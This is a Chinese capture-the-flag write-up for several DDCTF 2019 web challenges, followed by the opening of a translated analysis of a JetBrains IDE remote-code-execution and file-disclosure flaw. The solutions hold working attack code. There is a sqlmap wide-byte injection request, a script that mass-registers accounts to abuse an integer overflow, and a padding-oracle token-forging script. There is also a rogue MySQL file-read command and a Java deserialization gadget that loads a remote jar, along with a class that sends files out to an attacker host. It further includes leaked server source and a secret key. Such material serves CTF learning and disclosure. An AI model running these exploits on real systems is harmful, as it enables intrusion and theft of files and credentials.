当时一直卡在这里，遍历了id没反应，用xss测试之前发现的几个页面也没有发现（知道本题结做完我都不知道login.php干嘛的）。后来等到提示说是注入，注意到泄露的这个接返回的content-type是gbk，猜测这里是宽子节注入，手测没测出来，试试sqlmap的神秘力量。
inject.txt
GET /Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df* HTTP/1.1
Host: 117.51.147.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://117.51.147.2/Ze02pQYLf5gGNyMn/
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap跑一波
python sqlmap.py -r inject.txt --level 3
最后dump字段的时候sqlmap忽然开始盲注了，为了尽快做出来直接用sqlmap的payload手注了一下
## 0x06：大吉大利,今晚吃鸡~
题目链接：http://117.51.147.155:5050/index.html#/login
经过测试订单的钱可以改只要大于1000就可以，最后购买的时候在处理32-64位之间的整数时，会取到低32位。凭票入场之后就是吃鸡战场，每一个入场的选手都会又一个id和ticket，输入别人的就可以让人数减一。手快不如工具快，老汉能把青年赛，放脚本批量注册小号批量杀就可以了。
import requests
import json
import time
import uuid
import hashlib
proxies = {'http':'127.0.0.1:8080'}
def create_md5():
m=hashlib.md5()
m.update(bytes(str(time.time())))
return m.hexdigest()
def register_pay():
session = requests.Session()
paramsGet = {"name":create_md5(),"password":create_md5()}
print(paramsGet)
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/register", params=paramsGet, headers=headers, proxies=proxies)
time.sleep(0.5)
print(session.cookies)
#print("Status code: %i" % response.status_code)
#print("Response body: %s" % response.content)
paramsGet = {"ticket_price":"4294967296"}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/buy_ticket", params=paramsGet, headers=headers, proxies=proxies)
time.sleep(0.5)
#print("Status code: %i" % response.status_code)
#print("Response body: %s" % response.content)
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/search_bill_info", headers=headers, proxies=proxies)
# print(response.text)
bill_id = json.loads(response.text)['data'][0]["bill_id"]
time.sleep(0.5)
#print("Status code: %i" % response.status_code)
#print("Response body: %s" % response.content)
paramsGet = {"bill_id":bill_id}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/pay_ticket", params=paramsGet, headers=headers, proxies=proxies)
#print("Status code: %i" % response.status_code)
#print("Response body: %s" % response.content)
time.sleep(0.5)
headers = {"Accept":"application/json","Cache-Control":"max-age=0","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.get("http://117.51.147.155:5050/ctf/api/search_ticket", headers=headers, proxies=proxies)
#print("Status code: %i" % response.status_code)
#print("Response body: %s" % response.content)
#print(response.text)
id = json.loads(response.text)['data'][0]['id']
ticket = json.loads(response.text)['data'][0]['ticket']
print(id, ticket)
return id,ticket
def kill(id, ticket):
time.sleep(0.5)
session = requests.Session()
paramsGet = {"ticket":ticket,"id":id}
headers = {"Accept":"application/json","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://117.51.147.155:5050/index.html","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"REVEL_SESSION":"3b2bacbee8fb18e1b1457171b422999d","user_name":"cl0und"}
response = session.get("http://117.51.147.155:5050/ctf/api/remove_robot", params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
if __name__ == '__main__':
while True:
try:
id, ticket = register_pay()
kill(id, ticket)
time.sleep(0.5)
except Exception as e:
print e
杀完之后就有flag
### 大吉大利,今晚吃鸡~ 非预期解法
赛后看了其他师傅的wp，发现有些师傅以为这道考的是golang的整形溢出+批量kill小号，其实看到出题人的源码之后才知道。出题人是用python(flask)模拟了一个golang整形溢出的web环境，并且吃鸡战场的本意是想考hash长度扩展攻击（心情复杂.jpg）。发现这点原因是通过读mysql那道题的.bash_history可以发现出题人把这两道题放在同一台服务器上的。
实际读一下，可以发现web2对应的是mysql题
web1对应的是吃鸡题
在/home/dc2-user/ctf_web_1/web_1/app/main/views.py可以把部分主干代码都读出来(工具问题，换个工具应该可以读全)，这里已经有可以看到flag了
# coding=utf-8
from flask import jsonify, request,redirect
from app import mongodb
from app.unitis.tools import get_md5, num64_to_32
from app.main.db_tools import get_balance, creat_env_db, search_bill, secrity_key, get_bill_id
import uuid
from urllib import unquote
mydb = mongodb.db
flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''
def register():
result = []
user_name = request.args.get('name')
password = request.args.get('password')
if not user_name or not password:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []})
return response
if not len(password)>=8:
response = jsonify({"code": 404, "msg": "密码必须大于等于8位", "data": []})
return response
else:
hash_val = get_md5(user_name, 'DDCTF_2019')
if not mydb.get_collection('account').find_one({'user_name': user_name}):
mydb.get_collection('account').insert_one({'user_name': user_name, 'password' :password, 'balance': 100,
'hash_val': hash_val, 'flag': 'test'})
tmp_result = {'user_name': user_name, 'account': 100}
result.append(tmp_result)
response = jsonify({"code": 200, "msg": "用户注册成功", "data": result})
response.set_cookie('user_name', user_name)
response.set_cookie('REVEL_SESSION', hash_val)
response.headers['Server'] = 'Caddy'
return response
else:
response = jsonify({"code": 404, "msg": "用户已存在", "data": []})
response.set_cookie('user_name', user_name)
response.set_cookie('REVEL_SESSION', hash_val)
response.headers['Server'] = 'Caddy'
return response
def login():
result = []
user_name = request.args.get('name')
password = request.args.get('password')
if not user_name or not password:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []})
return response
if not mydb.get_collection('account').find_one({'user_name': user_name}):
response = jsonify({"code": 404, "msg": "该用户未注册", "data": result})
return response
if not password == mydb.get_collection('account').find_one({'user_name': user_name})['password']:
response = jsonify({"code": 404, "msg": "密码错误", "data": result})
return response
else:
hash_val = mydb.get_collection('account').find_one({'user_name': user_name})['hash_val']
response = jsonify({"code": 200, "msg": "登陆成功", "data": result})
response.set_cookie('user_name', user_name)
response.set_cookie('REVEL_SESSION', hash_val)
response.headers['Server'] = 'Caddy'
return response
def get_user_balance():
result = []
user_name = request.cookies.get('user_name')
hash_val = request.cookies.get('REVEL_SESSION')
if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "您未登陆", "data": []})
response.headers['Server'] = 'Caddy'
return response
else:
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val == str_md5:
balance = get_balance(user_name)
bill_id = get_bill_id(user_name)
tmp_dic = {'balance': balance , 'bill_id': bill_id}
result.append(tmp_dic)
return jsonify({"code": 200, "msg": "查询成功", "data": result})
else:
return jsonify({"code": 404, "msg": "参数错误", "data": []})
def buy_ticket():
result = []
user_name = request.cookies.get('user_name')
hash_val = request.cookies.get('REVEL_SESSION')
ticket_price = int(request.args.get('ticket_price'))
if not user_name or not hash_val or not ticket_price:
response = jsonify({"code": 404, "msg": "参数错误", "data": []})
response.headers['Server'] = 'Caddy'
return response
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Server'] = 'Caddy'
return response
if ticket_price < 1000:
response = jsonify({"code": 200, "msg": "ticket门票价格为2000", "data": []})
response.headers['Server'] = 'Caddy'
return response
if search_bill(user_name):
tmp_list = []
bill_tmp = {'bill_id': search_bill(user_name)}
tmp_list.append(bill_tmp)
response = jsonify({"code": 200, "msg": "请支付未完成订单", "data": tmp_list})
response.headers['Server'] = 'Caddy'
return response
else:
# 生成uuid 保存订单
hash_id = str(uuid.uuid4())
tmp_dic = {'user_name': user_name, 'ticket_price': ticket_price, 'bill_id': hash_id}
mydb.get_collection('bill').insert_one(tmp_dic)
result.append({'user_name': user_name, 'ticket_price': ticket_price, 'bill_id': hash_id})
response = jsonify({"code": 200, "msg": "购买门票成功", "data": result})
response.headers['Server'] = 'Caddy'
return response
def search_bill_info():
result = []
user_name = request.cookies.get('user_name')
hash_val = request.cookies.get('REVEL_SESSION')
if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "您未登陆", "data": []})
response.headers['Server'] = 'Caddy'
return response
else:
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val == str_md5:
tmp = mydb.get_collection('bill').find_one({'user_name': user_name})
if not tmp:
return jsonify({"code": 200, "msg": "不存在订单", "data": result})
bill_id = tmp['bill_id']
user_name =user_name
bill_price = tmp['ticket_price']
tmp_dic = {'user_name': user_name, 'bill_id': bill_id, 'bill_price': bill_price}
result.append(tmp_dic)
return jsonify({"code": 200, "msg": "查询成功", "data": result})
else:
return jsonify({"code": 404, "msg": "参数错误", "data": []})
def recall_bill():
result = []
user_name = request.cookies.get('user_name')
hash_val = request.cookies.get('REVEL_SESSION')
bill_id = request.args.get('bill_id')
if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []})
response.headers['Server'] = 'Caddy'
return response
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Server'] = 'Caddy'
return response
tmp =mydb.get_collection('bill').find_one({'bill_id': bill_id})
if not tmp:
response = jsonify({"code": 404, "msg": "订单号不存在", "data": []})
response.headers['Server'] = 'Caddy'
return response
if tmp['user_name'] != user_name:
response = jsonify({"code": 404, "msg": "订单号不存在", "data": []})
response.headers['Server'] = 'Caddy'
return response
else:
mydb.get_collection('bill').delete_one({'bill_id': bill_id})
tmp_result = {'user_name': tmp['user_name'], 'bill_id': tmp['bill_id'], 'ticket_price': tmp['ticket_price']}
result.append(tmp_result)
response = jsonify({"code": 200, "msg": "订单已取消", "data": result})
response.headers['Server'] = 'Caddy'
return response
def pay_ticket():
result = []
user_name = request.cookies.get('user_name')
hash_val = request.cookies.get('REVEL_SESSION')
bill_id = request.args.get('bill_id')
if not user_name or not hash_val or not bill_id:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
tmp_obj = mydb.get_collection('bill').find_one({'bill_id':bill_id})
if not tmp_obj:
response = jsonify({"code": 404, "msg": "订单信息有误", "data": []})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
tmp_price = mydb.get_collection('bill').find_one({'user_name': user_name})['ticket_price']
tmp_bill_uuid = mydb.get_collection('bill').find_one({'bill_id': bill_id})['bill_id']
price = num64_to_32(tmp_price)
tmp_account = mydb.get_collection('account').find_one({'user_name': user_name})['balance']
if tmp_bill_uuid == bill_id:
if tmp_account >= price:
if mydb.get_collection('user_env').find_one({'user_name': user_name}):
tmp = mydb.get_collection('user_env').find_one({'user_name': user_name})['user_info_list']
for item in tmp:
if item['user_name'] == user_name:
result.append(item)
else:
pass
response = jsonify({"code": 200, "msg": "已购买ticket", "data": result})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
else:
account = tmp_account - price
mydb.get_collection('account').update_one({'user_name': user_name}, {'$set': {'balance': account}},
upsert=True)
mydb.get_collection('bill').delete_one({'bill_id': bill_id})
tmp_info = creat_env_db(user_name)
mydb.get_collection('user_env').insert_one(tmp_info[0])
tmp_result = {'your_ticket': tmp_info[1]['hash_val'], 'your_id': tmp_info[1]['id']}
result.append(tmp_result)
response = jsonify({"code": 200, "msg": "交易成功", "data": result})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
else:
response = jsonify({"code": 200, "msg": "余额不足", "data": []})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
else:
response = jsonify({"code": 200, "msg": "订单信息有误", "data": []})
response.headers['Pay-Server'] = 'Apache-Coyote/1.1'
response.headers['X-Powered-By'] = ' Servlet/3.0'
return response
def is_login():
user_name = request.cookies.get('user_name')
hash_val = request.cookies.get('REVEL_SESSION')
if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []})
response.headers['Server'] = 'Caddy'
return response
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Server'] = 'Caddy'
return response
response = jsonify({"code": 200, "msg": "您已登陆", "data": []})
return response
def search_ticket():
result = []
user_name = request.cookies.get('user_name')
hash_val = request.cookies.get('REVEL_SESSION')
if not user_name or not hash_val:
response = jsonify({"code": 404, "msg": "参数不能为空", "data": []})
response.headers['Server'] = 'Caddy'
return response
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误", "data": []})
response.headers['Server'] = 'Caddy'
return response
tmp = mydb.get_collection('user_env').find_one({'user_name': user_name})
if not tmp:
response = jsonify({"code": 404, "msg": "你还未获取入场券", "data": []})
response.headers['Server'] = 'Caddy'
return response
if tmp:
tmp_dic = {'ticket': tmp['player_info']['hash_val'], 'id': tmp['player_info']['id']}
result.append(tmp_dic)
response = jsonify({"code": 200, "msg": "ticket信息", "data": result})
response.headers['Server'] = 'Caddy'
return response
def remove_robot():
result = []
sign_str = ''
user_name = request.cookies.get('user_name')
hash_val = request.cookies.get('REVEL_SESSION')
a = request.environ['QUERY_STRING']
params_list = []
for item in a.split('&'):
k, v = item.split('=')
params_list.append((k, v))
user_id = request.args.get('id')
ticket = request.args.get('ticket')
if not user_name or not hash_val or not user_id or not ticket:
response = jsonify({"code": 404, "msg": "参数错误", "data": []})
response.headers['Server'] = 'Caddy'
return response
# if not str.isdigit(user_id):
# return jsonify({"code": 0, "msg": "参数错误", "data": []})
str_md5 = get_md5(user_name, 'DDCTF_2019')
if hash_val != str_md5:
response = jsonify({"code": 404, "msg": "登陆信息有误"
读一下tools.py可以看到出题人费劲心机模拟golang，看样子也是想考hash长度扩展攻击的
#!/usr/bin/env python
# -*- coding: utf-8 -*- # @Time : 2/1/2019 10:47 PM
# @Author : fz
# @Site :
# @File : tools.py
# @Software: PyCharm
import decimal
import datetime
import types
import hashlib
from flask.json import JSONEncoder
from urllib import unquote
from urllib import quote_plus
secrity_key = 'Winner, winner, chicken dinner!'
def pretty_floats(obj):
if isinstance(obj, float) or isinstance(obj, decimal.Decimal):
return round(obj, 2)
elif isinstance(obj, dict):
return dict((k, pretty_floats(v)) for k, v in obj.iteritems())
elif isinstance(obj, (list, tuple)):
return map(pretty_floats, obj)
return obj
# 空值变为0
def pretty_data(obj):
if isinstance(obj, types.NoneType) or obj == "":
return 0
elif isinstance(obj, dict):
return dict((k, pretty_data(v)) for k, v in obj.iteritems())
elif isinstance(obj, (list, tuple)):
return map(pretty_data, obj)
return obj
class CustomJSONEncoder(JSONEncoder):
def default(self, obj):
try:
if isinstance(obj, datetime.datetime) or isinstance(obj, datetime.date):
encoded_object = obj.strftime('%Y-%m-%d')
return encoded_object
iterable = iter(obj)
except TypeError:
pass
else:
return list(iterable)
return JSONEncoder.default(self, obj)
#
def percent_div(up, down):
if up == 0 or up is None:
return 0
try:
return round((up / down) * 100, 2)
except ZeroDivisionError:
return 0
#
def num64_to_32(num):
str_num = bin(num)
if len(str_num) > 66:
return False
if 34 < len(str_num) < 66:
str_64 = str_num[-32:]
result = int(str_64, 2)
return result
if len(str_num) < 34:
result = int(str_num, 2)
return result
#
def get_md5(string, secret_key):
m = hashlib.md5()
m.update(secret_key+string)
return m.hexdigest()
if __name__ == "__main__":
print get_md5('id137', 'Winner, winner, chicken dinner!')
print get_md5('id80', secrity_key)
str = unquote('id80%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%01%00%00%00%00%00%00id51')
str_new = secrity_key + str
print str_new
print ('''id80\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x01\x00\x00\x00\x00\x00\x00id51''')
print quote_plus('''
''')
## 0x07：mysql弱口令
题目链接：http://117.51.147.155:5000/index.html#/scan
题目的逻辑大概是，在vps运行agent.py，这个服务器会列出vps上的进程信息，然后在题目页面输入自己mysql的端口号，扫描器会先来访问agent.py监听端口check是否会有mysqld进程，如果有那么进行弱口令测试。
这种反击mysql扫描器的思路感觉之前已经被出过很几次了，最早看到的中文分析文章是lightless师傅的这篇
https://lightless.me/archives/read-mysql-client-file.html 具体的工具可以参看这篇
https://www.freebuf.com/vuls/188910.html 打一个poc
set mysql.server.infile /etc/passwd; mysql.server off; mysql.server on;
读取三种常见的history .bash_history（这里有个非预期后面会讲），.vim_history, .mysql.history 。
mysql历史里面有flag
## 0x08：再来1杯Java
题目链接：116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
在/api/account_info可以看到权限信息
bae64解密token可以看到token的提示是oracle padding cbc
这里思路应该是通过[padding
oracle](https://k1n9.me/search/padding/)把roleAdmin改为true，具体思路是使用精心构造的iv控制第一段解密出的明文，用第二段密文控制第三段明文内容，中间的脏字符从第一段和第三段明文中匀出双引号包裹，大概样子如下图。
这种思路下其实还是超长了，当时想的苟一苟把true改成1，结果就可以了（java不是强类型吗？是fastjson的问题？），脚本如下
from Crypto.Util.strxor import strxor
from base64 import *
import requests
#pip install pycrypto
def xor(a, b):
return chr(ord(a)^ord(b))
def get_source_code(url, cipher):
session = requests.Session()
session.cookies['token'] = cipher
web = session.get(url)
return web.text
url = 'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info'
str = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'
token = b64decode(str)
iv = token[:16]
C1 = token[16:32]
C2 = token[32:]
raw_iv = 'PadOracle:iv/cbc'
json = '{"id":100,"roleAdmin":false}'
D_C1 = strxor(json[:16], raw_iv)
cipher = strxor(strxor(iv, json[:16]), '{"roleAdmin":1,"')+C1+strxor(strxor(C2, strxor(D_C1, C2)), '":"1","id":001}'+chr(1))+C1
cipher = b64encode(cipher)
state = get_source_code(url, cipher)
print state
print cipher
抓包改一下即可来到管理员界面
其中1.txt给了一些hint
同时filename存在任意文件读取漏洞，跑一下常见路径可以拿到一份源码泄漏
审计一下代码可以看到虽然项目使用的是有漏洞的commons-collections并且还存在一个明显的反序列化点，不过不幸的是在反序列化之前用[SerialKiller](https://github.com/ikkisoft/SerialKiller)对反序列化出来的类做了黑名单处理。
一开始的思路是用最近出的工具gadget-inspector.jar自动化寻找新的gadget，但是没有找到。。。
等到中午的时候官方放了提示说是利用jrmp，在先知上找到一片文章[Weblogic
JRMP反序列化漏洞回顾](https://xz.aliyun.com/t/2479)，在CVE-2018-？那里作者给出了一个payload我发现稍微改一下打到服务器那边就会有反应。
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import javax.naming.ConfigurationException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;
public class Poc {
public static void main(String[] args) throws IOException, ClassNotFoundException, ConfigurationException, Base64DecodingException {
String host;
int port;
host = "ip";
port = 1099;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);
objectOutputStream.writeObject(stub);
System.out.println(java.util.Base64.getEncoder().encodeToString(out.toByteArray()).toString());
}
}
服务器监听可以成功接受到请求
下面要做的就是用ysoserial开一个jrmp监听，把真正的payload回传给服务器。虽然构造用的gadget是走commons-collections但是这里不过serialkiller所以不会被拦截。因为之前提示说过这个环境不能执行命令，所以需要自己在ysoserial中自定义个一个反射链，[随风师傅博客中提到的classloder方案](https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/)
最后代码如下 CommonsCollections7.java
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
SuppressWarnings({"rawtypes", "unchecked"})
PayloadTest ( precondition = "isApplicableJavaVersion")
Dependencies({"commons-collections:commons-collections:3.1"})
Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String fileName) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
// newinstance string http://www.iswin.org/attach/iswin.jar
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://ip:8080/getflag2.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "getflag2" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { fileName } }),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections7.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
重新打包后丢到自己的vps上，顺便在在vps打包一个getflag2.jar Getflag2.java
import java.io.*;
import java.net.Socket;
public class Getflag2 {
public Getflag2(String fileName) {
try {
Socket socket = new Socket("ip", 8080);
OutputStream socketOutputStream = socket.getOutputStream();
DataOutputStream dataOutputStream = new DataOutputStream(socketOutputStream);
File file = new File(fileName);
if (file.isDirectory()) {
for (File temp : file.listFiles()) {
dataOutputStream.writeUTF(temp.toString());
}
} else {
FileInputStream fileInputStream = new FileInputStream(file);
InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line;
while ((line = bufferedReader.readLine()) != null) {
dataOutputStream.writeUTF(line);
}
}
dataOutputStream.flush();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
然后在服务端上开一个web服务提供getflag2.jar的下载，再开一个jrmp就可以看是随缘读flag了。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections7 '/etc/passwd'
最后找到flag在根目录的flag文件夹下
补充说明 为什么ObjId没有被拦截，比赛时能打就没管了，如果分析错了请师傅们指正，表象是ObJid是并没有在序列化内容里面
本质上是最后序列化的点在RemoteObject里面执行了writeObject
在RemoteObject这里ref是传入的UnicastRef对象
跟踪进入UnicastRef的writeExternal
在UnicastRef这里ref是外部传入的LiveRef
查看LiveRef的write方法，这里标红的id就是Objid。
最后查看ObjId的write
最后写入的是一个long型数字和ObjId类型没关系。
想了解更多 题目出题人视角解析，请关注：滴滴安全应急响应中心（DSRC）公众号查看： | 社区文章 |
# JetBrains IDE 远程代码执行和本地文件泄露
|
##### 译文声明
本文是翻译文章，文章来源：saynotolinux
原文地址：<http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
至少从2013年开始，一直到2016年5月，JetBrains
IDE就一直存在本地文件泄露问题，windows和osx版本还存在远程代码执行的问题。这种攻击的唯一前提就是受害者要在IDE启用时访问攻击者控制的网页。
受影响的IDE包括 PyCharm、Android Studio、WebStorm和IntelliJ IDEA 等。
我在2013年就对这些问题的核心部分进行过追踪（允许所有来源和长期启用的web服务器）。我相信从那时起，所有带有长期启用服务器的JetBrains
IDE都易受到此类攻击。
影响windows和osx版本的远程代码执行漏洞是在2015年7月13日发现的，但是可能很早之前就已经通过其他手段实现了。
发现的所有问题都已经在2016年5月11日发布的修补程序中得到了解决。
**调查**
**
**
因为这些问题已经被修复，所以要想要进行调查就需要PyCharm 5.0.4版本，或者是PyCharm 2016.1的旧版本。很明显我们可以在VM中实现。
Linux: <https://download.jetbrains.com/python/pycharm-community-5.0.4.tar.gz>
OS X: <https://download.jetbrains.com/python/pycharm-community-5.0.4.dmg>
Windows :<https://download.jetbrains.com/python/pycharm-community-5.0.4.exe>
**第一次发现**
**
**
开始的时候我只是在做协议开发研究工作，也一直在寻找有趣的目标。我想在我自己的设备上运行一些很有趣的服务，于是我运行了lsof -P -ITCP | grep
LISTEN，想要看看有什么程序是被本地TCP端口监控的。
$ lsof -P -iTCP | grep LISTEN
# ...
pycharm 4177 user 289u IPv4 0x81a02fb90b4eef47 0t0 TCP localhost:63342 (LISTEN)
我当时使用的IDE是PyCharm，但是一直都没有注意到它绑定到任何一个端口。可能是某种特设IPC机制？让我们来找出这些端口都发送了什么内容，遵循的都是什么协议：
$ nmap -A -p 63342 127.0.0.1
# [...]
PORT STATE SERVICE VERSION
63342/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port63342-TCP:V=6.46%I=7%D=8/2%Time=57A0DD64%P=x86_64-apple-darwin13.1.
SF:0%r(GetRequest,173,"HTTP/1.1x20404x20Notx20Foundrncontent-type:x
# [...]
看起来像是一个HTTP服务器，这对于本地应用程序来说很不正常。让我们来看一下响应中用的是什么CORS标头：
$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/"
> GET / HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
>
< HTTP/1.1 404 Not Found
[...]
< access-control-allow-origin: http://attacker.com/
< vary: origin
< access-control-allow-credentials: true
